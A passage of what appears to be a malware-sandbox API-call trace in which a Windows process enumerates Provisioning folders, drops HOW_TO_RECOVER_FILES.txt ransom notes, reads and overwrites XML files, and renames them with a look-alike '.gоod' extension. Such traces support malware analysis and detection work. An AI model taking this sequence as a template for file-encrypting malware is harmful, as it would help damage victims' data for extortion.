dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.926] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0119.927] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0119.927] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0119.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0119.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0119.927] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0119.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0119.927] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0119.927] GetFileType (hFile=0x6e0) returned 0x1 [0119.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0119.927] GetFileType (hFile=0x6e0) returned 0x1 [0119.928] WriteFile (in: hFile=0x6e0, lpBuffer=0x3542798*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3542798*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0119.929] CloseHandle (hObject=0x6e0) returned 1 [0119.929] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0119.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0119.929] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0119.930] GetFileType (hFile=0x6e0) returned 0x1 [0119.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0119.930] GetFileType (hFile=0x6e0) returned 0x1 [0119.931] WriteFile (in: hFile=0x6e0, lpBuffer=0x3546660*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3546660*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0119.932] CloseHandle (hObject=0x6e0) returned 1 [0119.932] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0119.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0119.932] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0119.934] GetFileType (hFile=0x6e0) returned 0x1 [0119.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0119.934] GetFileType (hFile=0x6e0) returned 0x1 [0119.935] WriteFile (in: hFile=0x6e0, lpBuffer=0x3550168*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x3550168*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0119.936] CloseHandle (hObject=0x6e0) returned 1 [0119.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0119.936] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpFilePart=0x0) returned 0x4c [0119.936] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0119.937] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.937] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fedfc8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0119.937] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0119.937] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0119.937] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0119.937] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0119.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0119.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0119.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0119.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpFilePart=0x0) returned 0x4c [0119.937] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0119.938] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.938] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fedfc8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0119.938] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0119.938] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0119.938] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.938] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0119.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0119.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0119.939] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0119.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0119.939] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x3560080 | out: lpFileInformation=0x3560080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fedfc8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0119.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0119.939] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0119.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0119.939] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0119.939] GetFileType (hFile=0x6e0) returned 0x1 [0119.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0119.939] GetFileType (hFile=0x6e0) returned 0x1 [0119.939] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x380 [0119.939] ReadFile (in: hFile=0x6e0, lpBuffer=0x3560718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x3560718*, lpNumberOfBytesRead=0x1f59e768*=0x380, lpOverlapped=0x0) returned 1 [0119.941] CloseHandle (hObject=0x6e0) returned 1 [0120.030] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0120.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0120.030] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.031] GetFileType (hFile=0x6e0) returned 0x1 [0120.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0120.031] GetFileType (hFile=0x6e0) returned 0x1 [0120.031] WriteFile (in: hFile=0x6e0, lpBuffer=0x33f3fc0*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x33f3fc0*, lpNumberOfBytesWritten=0x1f59e678*=0x390, lpOverlapped=0x0) returned 1 [0120.032] CloseHandle (hObject=0x6e0) returned 1 [0120.032] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0120.032] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0120.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0120.032] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43c15631, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x390)) returned 1 [0120.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0120.032] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.gоod")) returned 1 [0120.033] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0120.033] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x33f52f0 | out: lpFileInformation=0x33f52f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0120.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0120.033] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0120.033] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.033] GetFileType (hFile=0x6e0) returned 0x1 [0120.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0120.034] GetFileType (hFile=0x6e0) returned 0x1 [0120.034] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x10f [0120.034] ReadFile (in: hFile=0x6e0, lpBuffer=0x33f5728, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x33f5728*, lpNumberOfBytesRead=0x1f59e768*=0x10f, lpOverlapped=0x0) returned 1 [0120.102] CloseHandle (hObject=0x6e0) returned 1 [0120.128] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0120.128] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.129] GetFileType (hFile=0x6e0) returned 0x1 [0120.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0120.129] GetFileType (hFile=0x6e0) returned 0x1 [0120.129] WriteFile (in: hFile=0x6e0, lpBuffer=0x34ee528*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x34ee528*, lpNumberOfBytesWritten=0x1f59e678*=0x110, lpOverlapped=0x0) returned 1 [0120.130] CloseHandle (hObject=0x6e0) returned 1 [0120.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0120.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0120.130] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, 